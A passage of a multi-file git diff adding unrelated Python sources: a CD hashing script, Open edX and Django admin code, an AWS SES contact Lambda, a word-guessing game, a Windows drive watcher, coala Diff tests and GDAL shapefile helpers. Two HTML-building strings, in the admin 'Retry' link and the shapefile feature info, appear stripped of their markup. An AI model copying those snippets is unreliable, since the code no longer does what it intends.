TestFormatter extends TickFormatter { + + doFormat(ticks: number[]): string[] { + if (ticks.length == 0) + return[] + else { + const formatted = [`${ticks[0]}`] + for (let i = 1; i < ticks.length; i++) { + const difference = (ticks[i] - ticks[0]).toPrecision(2) + formatted.push(`+${difference}}`) + } + return formatted + } + } + } + """ + + class TestFormatter(TickFormatter): + + __implementation__ = TypeScript(TS_CODE) + + class TestFormatter2(TickFormatter): + + __implementation__ = TypeScript("^") # invalid syntax on purpose + + p = figure() + p.circle([1, 2, 3, 4, 6], [5, 7, 3, 2, 4]) + p.xaxis.formatter = TestFormatter() + save(p) + +#----------------------------------------------------------------------------- +# Dev API +#----------------------------------------------------------------------------- + +#----------------------------------------------------------------------------- +# Private API +#----------------------------------------------------------------------------- + +#----------------------------------------------------------------------------- +# Code +#----------------------------------------------------------------------------- diff --git a/pool/shard009/Python/0081304_cd_hash.py b/pool/shard009/Python/0081304_cd_hash.py new file mode 100644 index 0000000000000000000000000000000000000000..77d84522f42fa91c96f31a7243427b6cd91f89d5 --- /dev/null +++ b/pool/shard009/Python/0081304_cd_hash.py @@ -0,0 +1,46 @@ +#!/usr/bin/python +""" +Program that calculates several hashes for a given CD image. + +:copyright: Red Hat 2008-2009 +""" + +import os +import sys +import logging +import optparse + +from avocado.utils import crypto + +from logging_config import LoggingConfig + + +if __name__ == "__main__": + log_cfg = LoggingConfig(set_fmt=False) + log_cfg.configure_logging() + + parser = optparse.OptionParser("usage: %prog [options] [filenames]") + options, args = parser.parse_args() + + if args: + filenames = args + else: + parser.print_help() + sys.exit(1) + + for filename in filenames: + filename = os.path.abspath(filename) + file_exists = os.path.isfile(filename) + can_read_file = os.access(filename, os.R_OK) + if not file_exists: + logging.error("File %s does not exist!", filename) + continue + if not can_read_file: + logging.error("File %s does not have read permissions!", filename) + continue + + logging.info("Hash values for file %s", os.path.basename(filename)) + logging.info(" md5 (1m): %s", crypto.hash_file(filename, 1024 * 1024, algorithm="md5")) + logging.info(" sha1 (1m): %s", crypto.hash_file(filename, 1024 * 1024, algorithm="sha1")) + logging.info(" md5 (full): %s", crypto.hash_file(filename, algorithm="md5")) + logging.info(" sha1 (full): %s", crypto.hash_file(filename, algorithm="sha1")) diff --git a/pool/shard009/Python/0081306_create_api_access_request.py b/pool/shard009/Python/0081306_create_api_access_request.py new file mode 100644 index 0000000000000000000000000000000000000000..9c35a31afa8a72bf221c624f7563cfc43ed81950 --- /dev/null +++ b/pool/shard009/Python/0081306_create_api_access_request.py @@ -0,0 +1,153 @@ +""" Management command to create an ApiAccessRequest for given users """ + + +import logging +from contextlib import contextmanager + +from django.contrib.auth.models import User # lint-amnesty, pylint: disable=imported-auth-user +from django.contrib.sites.models import Site +from django.core.management.base import BaseCommand, CommandError +from django.db.models.signals import post_save, pre_save + +from openedx.core.djangoapps.api_admin.models import ( + ApiAccessConfig, + ApiAccessRequest, + send_decision_email, + send_request_email +) + +logger = logging.getLogger(__name__) + + +@contextmanager +def disconnect_request_email_signals(): + """ + Context manager to be used for temporarily disconnecting the `send_request_email` + and `send_decision_email` pre/post_save signal receivers from the `ApiAccessRequest` model. + """ + post_save.disconnect( + send_request_email, sender=ApiAccessRequest, dispatch_uid="api_access_request_post_save_email" + ) + pre_save.disconnect( + send_decision_email, sender=ApiAccessRequest, dispatch_uid="api_access_request_pre_save_email" + ) + try: + yield + finally: + post_save.connect( + send_request_email, sender=ApiAccessRequest, dispatch_uid="api_access_request_post_save_email" + ) + pre_save.connect( + send_decision_email, sender=ApiAccessRequest, dispatch_uid="api_access_request_pre_save_email" + ) + + +class Command(BaseCommand): + """ + Create an ApiAccessRequest for the given user + + Example usage: + $ ./manage.py lms create_api_request --create-config + """ + + help = 'Create an ApiAccessRequest for the given user' + DEFAULT_WEBSITE = 'www.test-edx-example-website.edu' + DEFAULT_REASON = 'Generated by management job create_api_request' + + def add_arguments(self, parser): + parser.add_argument('username') + parser.add_argument( + '--create-config', + action='store_true', + help='Create ApiAccessConfig if it does not exist' + ) + parser.add_argument( + '--disconnect-signals', + action='store_true', + help='Disconnect the Django signal receivers that send emails when ApiAccessRequest records are saved' + ) + parser.add_argument( + '--status', + choices=[choice[0] for choice in ApiAccessRequest.STATUS_CHOICES], + default=ApiAccessRequest.APPROVED, + help='Status of the created ApiAccessRequest' + ) + parser.add_argument( + '--reason', + default=self.DEFAULT_REASON, + help='Reason that the ApiAccessRequest is being created' + ) + parser.add_argument( + '--website', + default=self.DEFAULT_WEBSITE, + help='Website associated with the user of the created ApiAccessRequest' + ) + + def handle(self, *args, **options): + if options.get('disconnect_signals'): + with disconnect_request_email_signals(): + self._handle(*args, **options) + else: + self._handle(*args, **options) + + def _handle(self, *args, **options): # pylint: disable=unused-argument + if options.get('create_config'): + self.create_api_access_config() + user = self.get_user(options.get('username')) + self.create_api_access_request( + user, + options.get('status'), + options.get('reason'), + options.get('website'), + ) + + def get_user(self, username): + try: + return User.objects.get(username=username) + except User.DoesNotExist: + raise CommandError(f'User {username} not found') # lint-amnesty, pylint: disable=raise-missing-from + + def create_api_access_request(self, user, status, reason, website): + """ + Creates an ApiAccessRequest with the given values. + """ + try: + ApiAccessRequest.objects.create( + user=user, + status=status, + website=website, + reason=reason, + site=Site.objects.get_current(), + ) + except OSError as e: + # Ignore a specific error that occurs in the downstream `send_request_email` receiver. + # see https://openedx.atlassian.net/browse/EDUCATOR-4478 + error_msg = str(e) + if 'Permission denied' in error_msg and 'mako_lms' in error_msg: + logger.warning(f'Error sending email about access request: {error_msg}') + else: + raise CommandError(error_msg) # lint-amnesty, pylint: disable=raise-missing-from + except Exception as e: + msg = 'Unable to create ApiAccessRequest for {}. Exception is {}: {}'.format( + user.username, + type(e).__name__, + e + ) + raise CommandError(msg) # lint-amnesty, pylint: disable=raise-missing-from + + logger.info(f'Created ApiAccessRequest for user {user.username}') + + def create_api_access_config(self): + """ + Creates an active ApiAccessConfig if one does not currectly exist + """ + try: + _, created = ApiAccessConfig.objects.get_or_create(enabled=True) + except Exception as e: + msg = f'Unable to create ApiAccessConfig. Exception is {type(e).__name__}: {e}' + raise CommandError(msg) # lint-amnesty, pylint: disable=raise-missing-from + + if created: + logger.info('Created ApiAccessConfig') + else: + logger.info('ApiAccessConfig already exists') diff --git a/pool/shard009/Python/0081315_database_upgrade.py b/pool/shard009/Python/0081315_database_upgrade.py new file mode 100644 index 0000000000000000000000000000000000000000..23dad0e99eef51af4789ead2d5f0da87f40e014e --- /dev/null +++ b/pool/shard009/Python/0081315_database_upgrade.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +from __future__ import absolute_import, unicode_literals +from django.utils.html import format_html +from .database_maintenance_task import DatabaseMaintenanceTaskAdmin + + +class DatabaseUpgradeAdmin(DatabaseMaintenanceTaskAdmin): + + list_filter = [ + "database__team", "source_plan", "target_plan", "source_plan__engine", + "status", + ] + + list_display = ( + "database", "database_team", "source_plan_name", "target_plan_name", + "current_step", "friendly_status", "maintenance_action", "link_task", + "started_at", "finished_at" + ) + + readonly_fields = ( + "current_step_class", "database", + "source_plan", "source_plan_name", "target_plan", "target_plan_name", + "link_task", "started_at", "finished_at", + "status", "maintenance_action", "task_schedule" + ) + + def maintenance_action(self, maintenance_task): + if (not maintenance_task.is_status_error or + not maintenance_task.can_do_retry): + return 'N/A' + + url = maintenance_task.database.get_upgrade_retry_url() + html = ("Retry").format(url) + return format_html(html) diff --git a/pool/shard009/Python/0081317_contact_lambda_function.py b/pool/shard009/Python/0081317_contact_lambda_function.py new file mode 100644 index 0000000000000000000000000000000000000000..9e6bc7a8db2fb7862c2cb2755cfca0f1fe262ba0 --- /dev/null +++ b/pool/shard009/Python/0081317_contact_lambda_function.py @@ -0,0 +1,50 @@ +import json +import os +import urllib + +import boto3 + + +def handler(event, context): + print(type(event)) + print(event) + try: + data = json.loads(event['body']) + except json.decoder.JSONDecodeError: + data = dict(urllib.parse.parse_qsl(event['body'])) + + for required_key in ('email', 'text'): + if required_key not in data: + return {'statusCode': '400'} + + subject = os.environ['MessageSubject'].format(email=data['email'], name=data.get('name')) + body = os.environ['MessageBody'].format(text=data['text'], name=data.get('name')) + + payload = { + 'Source': os.environ['SenderAddress'], + 'Destination': {'ToAddresses': [os.environ['RecipientAddress']]}, + 'ReplyToAddresses': [data['email']], + 'Message': { + 'Subject': { + 'Charset': 'UTF-8', + 'Data': subject + }, + 'Body': { + 'Text': { + 'Charset': 'UTF-8', + 'Data': body + } + } + + } + } + + boto3.client('ses', region_name='us-west-2').send_email(**payload) + return { + 'statusCode': '201', + 'headers': { + 'Access-Control-Allow-Headers': 'Content-Type,Authorization,X-Amz-Date,X-Api-Key,X-Amz-Security-Token', + 'Access-Control-Allow-Methods': 'DELETE,GET,HEAD,OPTIONS,PATCH,POST,PUT', + 'Access-Control-Allow-Origin': '*' + }, + } diff --git a/pool/shard009/Python/0081318_asset.py b/pool/shard009/Python/0081318_asset.py new file mode 100644 index 0000000000000000000000000000000000000000..6eb8ebeafa7f16b7d43563bc2ffc5e2215819bd8 --- /dev/null +++ b/pool/shard009/Python/0081318_asset.py @@ -0,0 +1,122 @@ +# -*- coding: utf-8 -*- +# + +import random + +from rest_framework.response import Response +from rest_framework.viewsets import ModelViewSet +from rest_framework.generics import RetrieveAPIView +from django.shortcuts import get_object_or_404 + +from common.utils import get_logger, get_object_or_none +from common.permissions import IsOrgAdmin, IsOrgAdminOrAppUser, IsSuperUser +from orgs.mixins.api import OrgBulkModelViewSet +from orgs.mixins import generics +from ..models import Asset, Node, Platform +from .. import serializers +from ..tasks import ( + update_asset_hardware_info_manual, test_asset_connectivity_manual +) +from ..filters import AssetByNodeFilterBackend, LabelFilterBackend + + +logger = get_logger(__file__) +__all__ = [ + 'AssetViewSet', 'AssetPlatformRetrieveApi', + 'AssetGatewayListApi', 'AssetPlatformViewSet', + 'AssetTaskCreateApi', +] + + +class AssetViewSet(OrgBulkModelViewSet): + """ + API endpoint that allows Asset to be viewed or edited. + """ + model = Asset + filter_fields = ("hostname", "ip", "systemuser__id", "admin_user__id") + search_fields = ("hostname", "ip") + ordering_fields = ("hostname", "ip", "port", "cpu_cores") + serializer_classes = { + 'default': serializers.AssetSerializer, + 'display': serializers.AssetDisplaySerializer, + } + permission_classes = (IsOrgAdminOrAppUser,) + extra_filter_backends = [AssetByNodeFilterBackend, LabelFilterBackend] + + def set_assets_node(self, assets): + if not isinstance(assets, list): + assets = [assets] + node_id = self.request.query_params.get('node_id') + if not node_id: + return + node = get_object_or_none(Node, pk=node_id) + if not node: + return + node.assets.add(*assets) + + def perform_create(self, serializer): + assets = serializer.save() + self.set_assets_node(assets) + + +class AssetPlatformRetrieveApi(RetrieveAPIView): + queryset = Platform.objects.all() + permission_classes = (IsOrgAdminOrAppUser,) + serializer_class = serializers.PlatformSerializer + + def get_object(self): + asset_pk = self.kwargs.get('pk') + asset = get_object_or_404(Asset, pk=asset_pk) + return asset.platform + + +class AssetPlatformViewSet(ModelViewSet): + queryset = Platform.objects.all() + permission_classes = (IsSuperUser,) + serializer_class = serializers.PlatformSerializer + filterset_fields = ['name', 'base'] + search_fields = ['name'] + + def check_object_permissions(self, request, obj): + if request.method.lower() in ['delete', 'put', 'patch'] and \ + obj.internal: + self.permission_denied( + request, message={"detail": "Internal platform"} + ) + return super().check_object_permissions(request, obj) + + +class AssetTaskCreateApi(generics.CreateAPIView): + model = Asset + serializer_class = serializers.AssetTaskSerializer + permission_classes = (IsOrgAdmin,) + + def get_object(self): + pk = self.kwargs.get("pk") + instance = get_object_or_404(Asset, pk=pk) + return instance + + def perform_create(self, serializer): + asset = self.get_object() + action = serializer.validated_data["action"] + if action == "refresh": + task = update_asset_hardware_info_manual.delay(asset) + else: + task = test_asset_connectivity_manual.delay(asset) + data = getattr(serializer, '_data', {}) + data["task"] = task.id + setattr(serializer, '_data', data) + + +class AssetGatewayListApi(generics.ListAPIView): + permission_classes = (IsOrgAdminOrAppUser,) + serializer_class = serializers.GatewayWithAuthSerializer + model = Asset + + def get_queryset(self): + asset_id = self.kwargs.get('pk') + asset = get_object_or_404(Asset, pk=asset_id) + if not asset.domain: + return [] + queryset = asset.domain.gateways.filter(protocol='ssh') + return queryset diff --git a/pool/shard009/Python/0081319_solution.py b/pool/shard009/Python/0081319_solution.py new file mode 100644 index 0000000000000000000000000000000000000000..eed0c90dd77cb037f03ca4a4b6da5fc811281465 --- /dev/null +++ b/pool/shard009/Python/0081319_solution.py @@ -0,0 +1,51 @@ +import random + +class FalloutHackingGame: + def __init__(self): + self.guesses = 5 + self.difficulties = {1: (4, 5), + 2: (6, 7), + 3: (8, 9), + 4: (10, 11, 12), + 5: (13, 14, 15)} + + def input_difficulty(self): + while True: + d = input("Difficulty (1-5)? ") + if d.isdigit() and 1 <= int(d) <= 5: + return int(d) + print("Please enter a number between 1 and 5 (inclusive).") + + def get_words(self, d): + length = random.choice(self.difficulties[d]) + amount = random.choice(self.difficulties[d]) + with open("enable1.txt", "r") as file: + words = random.sample([word for word in set(file.read().splitlines()) if len(word) == length], amount) + return words + + def score(self, secret, guess): + return sum([1 for (x, y) in zip(secret, guess) if x == y]) + + def play(self): + d = self.input_difficulty() + clues = self.get_words(d) + secret = random.choice(clues) + # print("SOLUTION: {}".format(solution.upper())) + print(*map(str.upper, clues), sep='\n') + while self.guesses > 0: + guess = input("Guess ({} left)? ".format(self.guesses)) + if len(guess) != len(secret): + print("Please enter a word with {} characters!".format(len(secret))) + continue + s = self.score(secret, guess.lower()) + print("You guessed {}/{} characters correctly.".format(s, len(secret))) + if len(secret) == s: + print("You win! :>") + return + self.guesses -= 1 + if self.guesses == 0: + print("Out of guesses... You lose! :< The solution was: '{}'!".format(secret.upper())) + +if __name__ == "__main__": + fhg = FalloutHackingGame() + fhg.play() \ No newline at end of file diff --git a/pool/shard009/Python/0081320_urls.py b/pool/shard009/Python/0081320_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..712699945d53b8ba52c97c05b95b195b2700f9cc --- /dev/null +++ b/pool/shard009/Python/0081320_urls.py @@ -0,0 +1,20 @@ +from django.conf.urls import patterns, include, url +from rest_framework import routers +from moneymaker import views + +router = routers.DefaultRouter() +router.register(r'expense', views.ExpenseViewSet) +router.register(r'product', views.ProductViewSet) +router.register(r'expense-category', views.ExpenseCategoryViewSet) + +from django.contrib import admin +admin.autodiscover() + +urlpatterns = patterns( + '', + url(r'^', include(router.urls)), + url(r'api-auth/', include( + 'rest_framework.urls', + namespace='rest_framework')), + url(r'^admin/', include(admin.site.urls)), +) diff --git a/pool/shard009/Python/0081322_DriveManager.py b/pool/shard009/Python/0081322_DriveManager.py new file mode 100644 index 0000000000000000000000000000000000000000..e33462921be4258fc4cf5eb8ee4336d925b6e15d --- /dev/null +++ b/pool/shard009/Python/0081322_DriveManager.py @@ -0,0 +1,131 @@ +from PyQt4 import QtCore +import os +from ctypes import * +import win32api +import win32con +import win32gui + +# Drive Manager ################################### + +# +# Device change events (WM_DEVICECHANGE wParam) +# +DBT_DEVICEARRIVAL = 0x8000 +DBT_DEVICEQUERYREMOVE = 0x8001 +DBT_DEVICEQUERYREMOVEFAILED = 0x8002 +DBT_DEVICEMOVEPENDING = 0x8003 +DBT_DEVICEREMOVECOMPLETE = 0x8004 +DBT_DEVICETYPESSPECIFIC = 0x8005 +DBT_CONFIGCHANGED = 0x0018 + +# +# type of device in DEV_BROADCAST_HDR +# +DBT_DEVTYP_OEM = 0x00000000 +DBT_DEVTYP_DEVNODE = 0x00000001 +DBT_DEVTYP_VOLUME = 0x00000002 +DBT_DEVTYPE_PORT = 0x00000003 +DBT_DEVTYPE_NET = 0x00000004 + +# +# media types in DBT_DEVTYP_VOLUME +# +DBTF_MEDIA = 0x0001 +DBTF_NET = 0x0002 + +WORD = c_ushort +DWORD = c_ulong + + +class DEV_BROADCAST_HDR (Structure): + _fields_ = [ + ("dbch_size", DWORD), + ("dbch_devicetype", DWORD), + ("dbch_reserved", DWORD) + ] + + +class DEV_BROADCAST_VOLUME (Structure): + _fields_ = [ + ("dbcv_size", DWORD), + ("dbcv_devicetype", DWORD), + ("dbcv_reserved", DWORD), + ("dbcv_unitmask", DWORD), + ("dbcv_flags", WORD) + ] + + +def drive_from_mask(mask): + n_drive = 0 + while 1: + if (mask & (2 ** n_drive)): + return n_drive + else: + n_drive += 1 + + +class Notification(): + + def __init__(self, parent): + self.parent = parent + + message_map = { + win32con.WM_DEVICECHANGE: self.onDeviceChange + } + + wc = win32gui.WNDCLASS() + hinst = wc.hInstance = win32api.GetModuleHandle(None) + wc.lpszClassName = "DeviceChangeDemo" + wc.style = win32con.CS_VREDRAW | win32con.CS_HREDRAW + wc.hCursor = win32gui.LoadCursor(0, win32con.IDC_ARROW) + wc.hbrBackground = win32con.COLOR_WINDOW + wc.lpfnWndProc = message_map + classAtom = win32gui.RegisterClass(wc) + style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU + self.hwnd = win32gui.CreateWindow( + classAtom, + "Device Change Demo", + style, + 0, 0, + win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, + 0, 0, + hinst, None + ) + + def onDeviceChange(self, hwnd, msg, wparam, lparam): + # + # WM_DEVICECHANGE: + # wParam - type of change: arrival, removal etc. + # lParam - what's changed? + # if it's a volume then... + # lParam - what's changed more exactly + # + dev_broadcast_hdr = DEV_BROADCAST_HDR.from_address(lparam) + + if wparam == DBT_DEVICEARRIVAL: + if dev_broadcast_hdr.dbch_devicetype == DBT_DEVTYP_VOLUME: + dev_broadcast_volume = DEV_BROADCAST_VOLUME.from_address( + lparam) + drive_letter = drive_from_mask( + dev_broadcast_volume.dbcv_unitmask) + drivePath = (chr(ord("A") + drive_letter) + ":\\") + + # lock autorun file + try: + os.remove(os.path.join(drivePath, "autorun.inf")) + except: + pass + self.parent.newDrive.emit(drivePath) + + elif wparam == DBT_DEVICEREMOVECOMPLETE: + self.parent.newDrive.emit('') + return 1 + + +class DriveManager(QtCore.QThread): + + newDrive = QtCore.pyqtSignal(str) + + def run(self): + w = Notification(self) + win32gui.PumpMessages() diff --git a/pool/shard009/Python/0081325_gifmaker.py b/pool/shard009/Python/0081325_gifmaker.py new file mode 100644 index 0000000000000000000000000000000000000000..c0679ca792f821ff3511ca85469cd05f25c4f201 --- /dev/null +++ b/pool/shard009/Python/0081325_gifmaker.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python +# +# The Python Imaging Library +# $Id$ +# +# convert sequence format to GIF animation +# +# history: +# 97-01-03 fl created +# +# Copyright (c) Secret Labs AB 1997. All rights reserved. +# Copyright (c) Fredrik Lundh 1997. +# +# See the README file for information on usage and redistribution. +# + +from __future__ import print_function + +from PIL import Image + +if __name__ == "__main__": + + import sys + + if len(sys.argv) < 3: + print("GIFMAKER -- create GIF animations") + print("Usage: gifmaker infile outfile") + sys.exit(1) + + im = Image.open(sys.argv[1]) + im.save(sys.argv[2], save_all=True) diff --git a/pool/shard009/Python/0081327_DiffTest.py b/pool/shard009/Python/0081327_DiffTest.py new file mode 100644 index 0000000000000000000000000000000000000000..87a83fc3f55afdefe290e4322dda6de0f4a3ba9a --- /dev/null +++ b/pool/shard009/Python/0081327_DiffTest.py @@ -0,0 +1,186 @@ +import sys +import unittest +import json + +sys.path.insert(0, ".") +from coalib.results.Diff import Diff, ConflictError, SourceRange +from coalib.bearlib.parsing.clang.cindex import Index, LibclangError +from coalib.output.JSONEncoder import JSONEncoder + + +class DiffTest(unittest.TestCase): + def setUp(self): + self.file = ["1", "2", "3", "4"] + self.uut = Diff(self.file) + + def test_add_lines(self): + self.uut.add_lines(0, []) + self.uut.add_lines(0, ["t"]) + self.uut.add_lines(0, []) + + # No double addition allowed + self.assertRaises(ConflictError, self.uut.add_lines, 0, ["t"]) + self.assertRaises(ValueError, self.uut.add_lines, -1, ["t"]) + self.assertRaises(TypeError, self.uut.add_lines, "str", ["t"]) + + def test_delete_line(self): + self.uut.delete_line(1) + self.uut.delete_line(1) # Double deletion possible without conflict + self.assertRaises(ValueError, self.uut.delete_line, 0) + + def test_change_line(self): + self.assertEqual(len(self.uut), 0) + self.uut.change_line(2, "1", "2") + self.assertEqual(len(self.uut), 1) + self.assertRaises(ConflictError, self.uut.change_line, 2, "1", "3") + self.assertRaises(ValueError, self.uut.change_line, 0, "1", "2") + + self.uut.delete_line(1) + # Line was deleted, unchangeable + self.assertRaises(AssertionError, self.uut.change_line, 1, "1", "2") + + def test_affected_code(self): + self.assertEqual(self.uut.affected_code("file"), []) + + self.uut.add_lines(0, ["test"]) + affected_code = [ + SourceRange.from_values("file", start_line=1),] + self.assertEqual(self.uut.affected_code("file"), affected_code) + + self.uut.delete_line(2) + affected_code = [ + SourceRange.from_values("file", start_line=1), + SourceRange.from_values("file", start_line=2)] + self.assertEqual(self.uut.affected_code("file"), affected_code) + + self.uut.delete_line(3) + affected_code = [ + SourceRange.from_values("file", start_line=1), + SourceRange.from_values("file", start_line=2, end_line=3)] + self.assertEqual(self.uut.affected_code("file"), affected_code) + + self.uut.delete_line(6) + affected_code = [ + SourceRange.from_values("file", start_line=1), + SourceRange.from_values("file", start_line=2, end_line=3), + SourceRange.from_values('file', start_line=6)] + self.assertEqual(self.uut.affected_code("file"), affected_code) + + def test_modified(self): + result_file = ["0.1", + "0.2", + "1", + "1.1", + "3.changed", + "4"] + + self.uut.delete_line(2) + self.uut.add_lines(0, ["0.1", "0.2"]) + self.uut.add_lines(1, ["1.1"]) + self.uut.change_line(3, "3", "3.changed") + self.assertEqual(self.uut.modified, result_file) + self.assertEqual(self.uut.original, self.file) + + self.uut.delete_line(len(self.file)) + del result_file[len(result_file) - 1] + self.assertEqual(self.uut.modified, result_file) + + self.uut.delete_line(1) + del result_file[2] + self.assertEqual(self.uut.modified, result_file) + + def test_addition(self): + self.assertRaises(TypeError, self.uut.__add__, 5) + + result_file = ["1", + "2", + "2"] + + other = Diff(self.file) + other.delete_line(1) + other.change_line(2, "1", "2") + other.add_lines(0, ["1"]) + + self.uut.delete_line(1) + self.uut.delete_line(3) + self.uut.change_line(4, "4", "2") + result = self.uut + other + + self.assertEqual(result.modified, result_file) + # Make sure it didn't happen in place! + self.assertNotEqual(self.uut.modified, result_file) + + def test_from_string_arrays(self): + a = ["q", "a", "b", "x", "c", "d"] + b = ["a", "b", "y", "c", "d", "f"] + self.uut = Diff.from_string_arrays(a, b) + self.assertEqual(self.uut.modified, b) + + a = ["first", "fourth"] + b = ["first", "second", "third", "fourth"] + self.uut = Diff.from_string_arrays(a, b) + self.assertEqual(self.uut.modified, b) + + a = ["first", "fourth"] + b = ["first_changed", "second", "third", "fourth"] + self.uut = Diff.from_string_arrays(a, b) + self.assertEqual(self.uut.modified, b) + + a = ["first", "second", "third", "fourth"] + b = ["first", "fourth"] + self.uut = Diff.from_string_arrays(a, b) + self.assertEqual(self.uut.modified, b) + + a = ["first", "second", "third", "fourth"] + b = ["first_changed", "second_changed", "fourth"] + self.uut = Diff.from_string_arrays(a, b) + self.assertEqual(self.uut.modified, b) + + def test_from_clang_fixit(self): + joined_file = 'struct { int f0; }\nx = { f0 :1 };\n' + file = joined_file.splitlines(True) + fixed_file = ['struct { int f0; }\n', 'x = { .f0 = 1 };\n'] + + tu = Index.create().parse('t.c', unsaved_files=[ + ('t.c'.encode(), joined_file.encode())]) + fixit = tu.diagnostics[0].fixits[0] + + clang_fixed_file = Diff.from_clang_fixit(fixit, file).modified + self.assertEqual(fixed_file, clang_fixed_file) + + def test_equality(self): + a = ["first", "second", "third"] + b = ["first", "third"] + diff_1 = Diff.from_string_arrays(a, b) + + a[1] = "else" + diff_2 = Diff.from_string_arrays(a, b) + self.assertEqual(diff_1, diff_2) + + diff_1.add_lines(1, ["1"]) + self.assertNotEqual(diff_1, diff_2) + + def test_json_export(self): + a = ["first\n", "second\n", "third\n"] + b = ["first\n", "third\n"] + diff = Diff.from_string_arrays(a, b) + self.assertEqual( + json.dumps(diff, cls=JSONEncoder, sort_keys=True), + '"--- \\n' + '+++ \\n' + '@@ -1,3 +1,2 @@\\n' + ' first\\n' + '-second\\n' + ' third\\n"') + + +def skip_test(): + try: + Index.create() + return False + except LibclangError as error: + return str(error) + + +if __name__ == '__main__': + unittest.main(verbosity=2) diff --git a/pool/shard009/Python/0081333_test_ast.py b/pool/shard009/Python/0081333_test_ast.py new file mode 100644 index 0000000000000000000000000000000000000000..1a93862c11b551ccca884261a22e3fe7bbe38e3d --- /dev/null +++ b/pool/shard009/Python/0081333_test_ast.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 + +# --------------------- # +# -- SEVERAL IMPORTS -- # +# --------------------- # + +import json + +from mistool.os_use import PPath + + +# ------------------- # +# -- MODULE TESTED -- # +# ------------------- # + +from orpyste.parse import ast + + +# ----------------------- # +# -- GENERAL CONSTANTS -- # +# ----------------------- # + +THIS_DIR = PPath(__file__).parent +DATAS_DIR = THIS_DIR / "datas_for_tests" + +AST_CLASS = ast.AST + + +# --------------- # +# -- METADATAS -- # +# --------------- # + +def test_ast_metadatas(): + for jsonpath in DATAS_DIR.walk("file::ast/*.json"): + with jsonpath.open() as f: + jsonobj = json.load(f) + + ast = AST_CLASS( + content = "\n".join(jsonobj["lines"]), + mode = jsonobj["mode"] + ) + + ast.build() + + assert jsonobj["metadatas"] == [metadata for metadata in ast] diff --git a/pool/shard009/Python/0081334_spatial_analysis.py b/pool/shard009/Python/0081334_spatial_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..97d0d64dc455e8ba7712825d67651a4eb6a3bb3b --- /dev/null +++ b/pool/shard009/Python/0081334_spatial_analysis.py @@ -0,0 +1,74 @@ +import os + +try: + import ogr +except ImportError: + from osgeo import ogr + +try: + import osr +except ImportError: + from osgeo import osr + + +def buffer_shapefile(selected_shp, buffer_shp_buffer_range, buffer_shp_out_name, buffer_shp_out_layername): + if selected_shp.split(".")[-1] != "shp": + selected_shp = selected_shp + ".shp" + try: + buffer_shp_buffer_range = float(buffer_shp_buffer_range) + driver = ogr.GetDriverByName('ESRI Shapefile') + in_shp_datasource = driver.Open(selected_shp) + in_layer = in_shp_datasource.GetLayer() + in_srs = in_layer.GetSpatialRef() + num_feature = in_layer.GetFeatureCount() + out_shp_datasource = driver.CreateDataSource(buffer_shp_out_name) + srs = osr.SpatialReference() + srs.ImportFromEPSG(4326) + print in_srs + print srs + out_layer = out_shp_datasource.CreateLayer(buffer_shp_out_layername, in_srs, ogr.wkbMultiPolygon) + for each in range(num_feature): + in_feature = in_layer.GetFeature(each) + in_geom = in_feature.GetGeometryRef() + bufer_geom = in_geom.Buffer(buffer_shp_buffer_range) + out_feature = ogr.Feature(out_layer.GetLayerDefn()) + out_feature.SetGeometry(bufer_geom) + out_layer.CreateFeature(out_feature) + return "Done." + except: + return "Someting went wrong" + + +def find_point_inside_feature(selected_vector, point_inside_shapefile_lat, point_inside_shapefile_lon): + + in_shp_datasource = ogr.Open("{0}.shp".format(selected_vector)) + in_layer = in_shp_datasource.GetLayerByIndex(0) + in_layer_defn = in_layer.GetLayerDefn() + num_field_col = in_layer_defn.GetFieldCount() + + try: + point = ogr.Geometry(ogr.wkbPoint) + point.AddPoint(float(point_inside_shapefile_lon), float(point_inside_shapefile_lat)) + except: + print "cannot create point geometry" + + try: + field_name = [] + for field in range(num_field_col): + field_name.append(in_layer_defn.GetFieldDefn(field).GetName()) + except: + print "Cannot read feature attribute information" + + feature_info = "Point is not in any feature." + features_number = in_layer.GetFeatureCount() + for i in range(features_number): + in_shp_feature = in_layer.GetFeature(i) + in_feature_geometry = in_shp_feature.GetGeometryRef() + if point.Within(in_feature_geometry): + field_count = in_shp_feature.GetFieldCount() + feature_info = "" + for field in range(field_count): + feature_info += "

{0}:

{1}

".format(field_name[field], in_shp_feature.GetFieldAsString(field)) + break + + return feature_info diff --git a/pool/shard009/Python/0081345_sv_operator_mixins.py b/pool/shard009/Python/0081345_sv_operator_mixins.py new file mode 100644 index 0000000000000000000000000000000000000000..ba9dcee0f67ad2000f066d1482b29eabe10a1ca1 --- /dev/null +++ b/pool/shard009/Python/0081345_sv_operator_mixins.py @@ -0,0 +1,161 @@ +# ##### BEGIN GPL LICENSE BLOCK ##### +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software Foundation, +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# ##### END GPL LICENSE BLOCK ##### + +import bpy + + +class SvGenericCallbackWithParams(): + + bl_idname = "node.sv_generic_callback_with_params" + bl_label = "SvGeneric callback (with params)" + + ''' + #### using SvGenericCallbackWithParams(bpy.types.Operator) ##### + + class SomeNode.. + + + def draw_buttons(self, context, layout): + callback = "node.sv_generic_callback_with_params" + my_op = layout.operator(callback, text='display_name').fn_name='some_function' + my_op.your_custom_param_name = 'something' + + + def some_function(self, operator): + print(operator.your_custom_param_name) + operator.report({ ...}) + return {'FINISHED'} + + ''' + + fn_name = bpy.props.StringProperty(default='') + + + def execute(self, context): + try: + f = getattr(context.node, self.fn_name)(self) + return f or {'FINISHED'} + + except Exception as err: + print(repr(err)) + return {'CANCELLED'} + + # return just in case, else let the content of the called function decide the return value + return {'FINISHED'} + + + +class SvGenericFileSelector(): + + bl_idname = "node.sv_generic_file_selector" + bl_label = "sv File Select" + + ''' + + #### using SvGenericFileSelector(bpy.types.Operator) ##### + + class SomeNode.. + + def draw_buttons(self, context, layout): + callback = 